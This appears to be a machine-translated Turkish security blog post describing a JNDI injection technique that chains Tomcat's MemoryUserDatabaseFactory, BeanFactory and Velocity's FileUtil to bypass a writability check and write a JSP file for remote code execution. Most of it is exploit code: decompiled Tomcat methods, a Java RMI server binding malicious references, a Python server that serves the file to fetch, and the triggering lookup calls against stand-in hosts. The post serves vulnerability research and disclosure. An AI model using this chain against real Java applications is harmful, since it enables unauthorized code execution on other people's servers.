Bu blog yazısında bir konuyu anlatacağım. göreceli yeni Diğer araştırmacılardan bağımsız olarak bulduğum bir JNDI Enjeksiyonu aracılığıyla uzaktan kod yürütmeyi sağlayan vektör. JNDI enjeksiyonu için nesne arama sürecinden yararlanma kavramı yeni bir şey değil. Eğer bu konuya yabancıysanız sizi Michael Stepankin tarafından yazılan bu mükemmel blog yazısını okumaya davet ediyorum.
İçeriğin bir kısmını Full Stack Web Attack’tan kaldırmaya karar verdim, bu nedenle bu düzeyde Java (ve/veya C#) analizinden hoşlanıyorsanız, Roma’da düzenlenecek bir sonraki dersime kaydolmaktan çekinmeyin.
MemoryUserDatabaseFactory
Aşağıdakilerden uygulayan türleri keşfederken ObjectFactory
adında ilginç bir sınıf buldum org.apache.catalina.users.MemoryUserDatabaseFactory
. Bu, tomcat-catalina
kütüphane ve ünlü (ünlü)leri içeren kütüphaneyle aynı kütüphanedir. org.apache.naming.factory.BeanFactory
. Bunun önemi daha sonra anlaşılacaktır.
Şundan başlayalım: getObjectInstance
içinde MemoryUserDatabaseFactory
sınıf.
/* */ public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
/* */ ...
/* 81 */ Reference ref = (Reference)obj;
/* */ ...
/* 88 */ MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
/* 89 */ RefAddr ra = null;
/* */
/* 91 */ ra = ref.get("pathname"); // 1
/* 92 */ if (ra != null) {
/* 93 */ database.setPathname(ra.getContent().toString());
/* */ }
/* */
/* 96 */ ra = ref.get("readonly"); // 2
/* 97 */ if (ra != null) {
/* 98 */ database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
/* */ }
/* */ ...
/* 107 */ database.open(); // 3
/* */
/* 109 */ if (!database.getReadonly()) // 6
/* 110 */ database.save(); // 7
/* 111 */ return database;
/* */ }
Burada bazı ilginç kodlar göze çarpıyor: [1] bir saldırganın kontrol edebildiğini görebiliriz pathname
üzerindeki mülk MemoryUserDatabase
misal.
Şu tarihte: [2] bir saldırgan aynı zamanda readonly
aynı zamanda ayarlama. Ancak ilginç kod şurada görünüyor: [3] çağrısıyla open
veritabanı örneğinde. Hadi kontrol edelim:
/* */ public void open() {
/* 418 */ this.writeLock.lock();
/* */
/* */ try {
/* */ ...
/* 425 */ String pathName = getPathname(); // 4
/* 426 */ try (ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName)) {
/* */ ...
/* 430 */ digester = new Digester();
/* */ try {
/* 432 */ digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
/* */ }
/* 434 */ catch (Exception e) {
/* 435 */ log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
/* */ }
/* 437 */ digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
/* */
/* 439 */ digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
/* */
/* 441 */ digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
/* */
/* */
/* */
/* 445 */ digester.parse(resource.getInputStream()); // 5
/* 446 */ } catch (IOException ioe) {
/* 447 */ log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[] { pathName }));
/* 448 */ } catch (Exception e) {
/* */ ...
/* */ }
/* */ } finally {
/* 456 */ this.writeLock.unlock();
/* */ }
/* */ }
Şu tarihte: [4] kod saldırganın kontrolünde kullanıyor pathname
uzaktan kumandadan bir dosya indirmek ve dosyayı ayrıştırmak için [5]. Bu elbette harici bir varlık enjeksiyonuna yol açar (ama konudan sapıyorum!). Burada vurgulanması gereken önemli nokta, saldırganın users
, groups
veya roles
XML dosyasındaki özellikleri kullanan değişkenler. Bu sadece standart tomcat-users.xml
:
Yukarıdaki XML, “admin” rolünü ekleyecektir. roles
Haritanın içi MemoryUserDatabase
misal. Geri dönüyoruz getObjectInstance
Saldırgan şu adreste salt okunur özelliğini devre dışı bırakırsa: [6] o zaman ulaşabilirler save
en [7].
/* */ public void save() {
/* */ ...
/* 555 */ if (!isWriteable()) { // 8
/* 556 */ log.warn(sm.getString("memoryUserDatabase.notPersistable"));
/* */
/* */ return;
/* */ }
/* */
/* 561 */ File fileNew = new File(this.pathnameNew); // 9
/* 562 */ if (!fileNew.isAbsolute()) {
/* 563 */ fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
/* */ }
/* */
/* 566 */ this.writeLock.lock();
/* */ try {
/* 568 */ try(FileOutputStream fos = new FileOutputStream(fileNew);
/* 569 */ OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8);
/* 570 */ PrintWriter writer = new PrintWriter(osw)) {
/* */
/* */
/* 573 */ writer.println("");
/* 574 */ writer.println(");
/* 575 */ writer.print(" ");
/* 576 */ writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
/* 577 */ writer.print(" ");
/* 578 */ writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
/* 579 */ writer.println(" version=\"1.0\">");
/* */
/* */
/* 582 */ values = null;
/* 583 */ values = getRoles();
/* 584 */ while (values.hasNext()) {
/* 585 */ writer.print(" ");
/* 586 */ writer.println(values.next()); // 10
/* */ }
/* 588 */ values = getGroups();
/* 589 */ while (values.hasNext()) {
/* 590 */ writer.print(" ");
/* 591 */ writer.println(values.next());
/* */ }
/* 593 */ values = getUsers();
/* 594 */ while (values.hasNext()) {
/* 595 */ writer.print(" ");
/* 596 */ writer.println(((MemoryUser)values.next()).toXml());
/* */ }
/* */ ...
/* 607 */ } catch (IOException e) {
/* */ ...
/* */ }
/* 613 */ this.lastModified = fileNew.lastModified();
/* */ } finally {
/* 615 */ this.writeLock.unlock();
/* */ }
/* */ ...
/* 626 */ File fileOrig = new File(this.pathname);
/* */ ...
/* 636 */ if (!fileNew.renameTo(fileOrig)) { // 11
/* 637 */ if (fileOld.exists() &&
/* 638 */ !fileOld.renameTo(fileOrig)) {
/* 639 */ log.warn(sm.getString("memoryUserDatabase.restoreOrig", new Object[] { fileOld }));
/* */ }
/* */
/* 642 */ throw new IOException(sm.getString("memoryUserDatabase.renameNew", new Object[] { fileOrig
/* 643 */ .getAbsolutePath() }));
/* */ }
/* 645 */ if (fileOld.exists() && !fileOld.delete()) {
/* 646 */ throw new IOException(sm.getString("memoryUserDatabase.fileDelete", new Object[] { fileOld }));
/* */ }
/* */ }
Şu tarihte: [8] kod çağrıları isWriteable
:
/* */ public boolean isWriteable() {
/* 532 */ File file = new File(this.pathname);
/* 533 */ if (!file.isAbsolute()) {
/* 534 */ file = new File(System.getProperty("catalina.base"), this.pathname);
/* */ }
/* 536 */ File dir = file.getParentFile();
/* 537 */ return (dir.exists() && dir.isDirectory() && dir.canWrite());
/* */ }
Bu kod geri dönecek doğru sağlanan yol mevcutsa ve bir dizinse ve son olarak yazılabilirse. Ancak bir saldırgan aşağıdaki gibi uzak bir URI kullanırsa bunu nasıl başarabilir? http://attacker.tld/tomcat-users.xml
?
Gelin daha yakından bakalım getParentFile
. Aşağıdaki kodu çalıştırıyoruz…
File file = new File("http://attacker.tld/../../tomcat-users.xml");
File dir = file.getParentFile();
System.out.println("getParentFile result: " + dir);
System.out.println("exists: " + dir.exists());
System.out.println("isDirectory: " + dir.isDirectory());
System.out.println("canWrite: " + dir.canWrite());
System.out.println("isAbsolute: " + file.isAbsolute());
Sonuçlar:
getParentFile result: http:/attacker.tld/../..
exists: false
isDirectory: false
canWrite: false
isAbsolute: false
Burada ilginç olan şu ki getParentFile
http’de tek eğik çizgiden (/) kaçar ve ardından dizinin mevcut olmadığını söyler. Eğer dizinleri oluşturursak http:/attacker.tld
mevcut çalışma dizininde şunu elde ederiz:
getParentFile result: http:/attacker.tld/../..
exists: true
isDirectory: true
canWrite: true
isAbsolute: false
Yani, eğer bir saldırganın keyfi bir dizin oluşturma ilkesi varsa, o zaman bu kontrolü geçebilir! Saldırgan kontrolü geçtikten sonra erişim sağlayabilir. [9] kontrollü dosya adını oluşturan .new
sonuna uzantı eklendi. Şu tarihte: [10] saldırgan kontrollü yazma gerçekleşir ve [11]dosya orijinal adıyla yeniden adlandırılır ve .new
eklenti.
Saldırganın bypass etmesi mümkün olduğundan isWriteable
kontrol ederseniz, uzaktan kod yürütülmesine yol açabilecek rastgele bir dosya yazımı elde etmek için bundan yararlanabilirler.
Bypassing isWriteable
O zamandan beri BeanFactory
aynı kütüphane içindeyse, Java çekirdeğindeki herhangi bir tek dize argüman yöntemini çağırabiliriz. Apache Velocity kütüphanesinde rastgele bir dizin oluşturulmasına izin verecek böyle bir fasulye sınıfı buldum: org.apache.velocity.texen.util.FileUtil
/* */ public class FileUtil
/* */ {
/* */ public static String mkdir(String s) {
/* */ try {
/* 43 */ if ((new File(s)).mkdirs()) {
/* 44 */ return "Created dir: " + s;
/* */ }
/* 46 */ return "Failed to create dir or dir already exists: " + s;
/* */ }
/* 48 */ catch (Exception e) {
/* */
/* 50 */ return e.toString();
/* */ }
/* */ }
Elbette bir saldırgan, rastgele bir dizin veya muhtemelen benzer bir fasulye içeren başka bir kütüphane oluşturmak için başka herhangi bir yöntemi kullanabilir.
Kavram Kanıtı
İki nesne bir RMI sunucusuna bağlıdır. Birincisi gerekli dizin yolunu oluşturacak, ikincisi ise saldırganın dosyasını yerleştirmek istediği konuma giden yolu izleyecektir. Gerçek bir saldırıda bu yolların ayarlanması gerekecektir.
package com.src.incite.jndi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
import com.sun.jndi.rmi.registry.*;
public class ObjectFactoryServer {
public static void main(String[] args) throws Exception {
System.out.println("(+) creating RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
// for folder creation
ResourceRef ref1 = new ResourceRef("org.apache.velocity.texen.util.FileUtil", null, "", "", true, "org.apache.naming.factory.BeanFactory",null);
ref1.add(new StringRefAddr("forceString", "x=mkdir"));
ref1.add(new StringRefAddr("x", "http:/127.0.0.1:1337/"));
// for a file write
ResourceRef ref2 = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory",null);
ref2.add(new StringRefAddr("readonly", "false"));
ref2.add(new StringRefAddr("pathname", "http://127.0.0.1:1337/../../../../some/path/to/apache-tomcat-9.0.65/webapps/ROOT/poc.jsp"));
registry.bind("Dir", new ReferenceWrapper(ref1));
registry.bind("Rce", new ReferenceWrapper(ref2));
}
}
Ama tabii ki saldırgan ne yazacak? XML düğüm ayrıştırma işlemi nedeniyle çift tırnak işareti veya köşeli ayraç kullanamayacakları ortaya çıktı. Digester
sınıf. Saldırgan elbette kullanarak bu sorunu ortadan kaldırabilir. ifade dili bir JSP dosyası yazacak olsalardı.
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class el(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.lower().strip().endswith('/poc.jsp'):
print("(+) request recieved: %s" % self.path)
message = """
"""
self.send_response(200)
self.end_headers()
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
return
if __name__ == '__main__':
HTTPServer(('0.0.0.0', 1337), el).serve_forever()
Bir JNDI istemcisinin güvenlik açığından etkilenmesi için aşağıdaki kitaplıklar gereklidir (sürümlerin önemi yoktur):
- Tomcat-catalina-9.0.24.jar
- Tomcat-juli-10.0.23.jar
- Tomcat-util-10.0.23.jar
- Tomcat-util-scan-10.0.23.jar
- hız-1.7.jar
Güvenlik açığı bulunan uygulamanın, süreç sahibi tarafından yazılabilir geçerli bir çalışma dizinine sahip olması gerekir ve bir saldırganın ayrıca JNDI enjeksiyonunu iki kez tetiklemesi gerekir. Saldırının Windows veya Unix tabanlı sistemlerde çalışması gerekiyor çünkü getParentFile
eğik çizgiden kaçar ve her iki durumda da eğik çizgilerden bir yol oluşturulabilir.
new InitialContext().lookup("rmi://127.0.0.1:1099/Dir");
new InitialContext().lookup("rmi://127.0.0.1:1099/Rce");
Çözüm
Her ne kadar çeşitli bağımlılıklar gerekli gibi görünse de, başka dizin oluşturma vektörleri veya saldırıyı birbirine zincirlemek için başka yollar bularak bunu azaltabileceğimize eminim. Örneğin, eğer keyfi bir dizin oluşturma ilkeliniz varsa, hız bağımlılığını kaldırabilirsiniz. Ayrıca, birçok kütüphane birlikte gruplandırılır, paketlenir ve dağıtılır; böylece Tomcat catalina kütüphanelerini gördüğünüz yerde, kesinlikle Tomcat util kütüphanelerini de bulacaksınız.
Bu tipik olana güzel bir alternatif sunar BeanFactory
+ ELProcessor
/GroovyShell
ne zaman gerekli olabilecek kombinasyon ELProcessor
veya GroovyShell
mevcut değil ama yapmak hedef bağlamda JSP yürütülmesini gerektirir.